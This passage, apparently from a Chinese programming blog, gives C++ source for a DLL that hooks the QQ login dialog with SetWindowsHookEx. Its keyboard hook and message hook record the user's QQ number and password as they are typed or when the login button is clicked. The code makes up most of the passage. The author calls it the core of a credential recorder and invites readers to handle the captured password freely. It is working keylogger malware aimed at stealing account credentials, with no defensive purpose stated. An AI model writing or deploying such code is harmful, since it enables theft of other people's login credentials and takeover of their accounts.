3。MyHook.dll模块。
[cpp] view plaincopyprint?
1. EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
2. HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
3. {
4. if ( isInstall )
5. {
6. hQQLandDlg = hQQLand ;
7. hUserNameEdit = hUserName ;
8. hPasswordComboBox = hPassword ;
9. hButton = hLandButton ;
10. DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
11. hHookDll = GetModuleHandle ( "MyHook" ) ;
12. hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
13. (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;
14.
15. hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
16. (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;
17. if ( hKeyboard != NULL && hWndProc != NULL )
18. return true ;
19. }
20. else
21. {
22. UnhookWindowsHookEx ( hKeyboard ) ;
23. UnhookWindowsHookEx ( hWndProc ) ;
24. hHookDll = NULL ;
25. hKeyboard = NULL ;
26. hWndProc = NULL ;
27. ZeroMemory ( szPassword, 128 ) ;
28. pszPasswordLen = 0 ;
29. }
30. return false ;
31. }
这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。
如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。
这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。
[cpp] view plaincopyprint?
1. LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
2. {
3. //检测回车键是否被按下
4. if ( wParam == VK_RETURN && lParam > 0 )
5. {
6. //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
7. SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
8. //此处可以自由处理拦截到的号码和密码(szUserName,szPassword)
9. //不要忘了变量还原(szUserName,szPassword)
10. }
11. if ( lParam > 0 && wParam != VK_RETURN )
12. {
13. char KeyName[10] ;
14. ZeroMemory ( KeyName, 10 ) ;
15. GetKeyNameText ( lParam, KeyName, 10 ) ;
16. if ( strlen ( KeyName ) == 1 )
17. {
18. strcat ( szPassword, KeyName ) ;
19. }
20. }
21. return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
22. }
也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现
[cpp] view plaincopyprint?
1. LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
2. {
3. CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
4. if ( p->message == WM_COMMAND && p->hwnd == hButton )
5. {//同理
6. SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
7. //这里可添加如何处理密码的语句
8. }
9. return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
10. }
上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。
到此,我想应该把核心部分讲清楚了。由于时间比较紧,写的比较仓促,难免有不足之处,请各位多指教。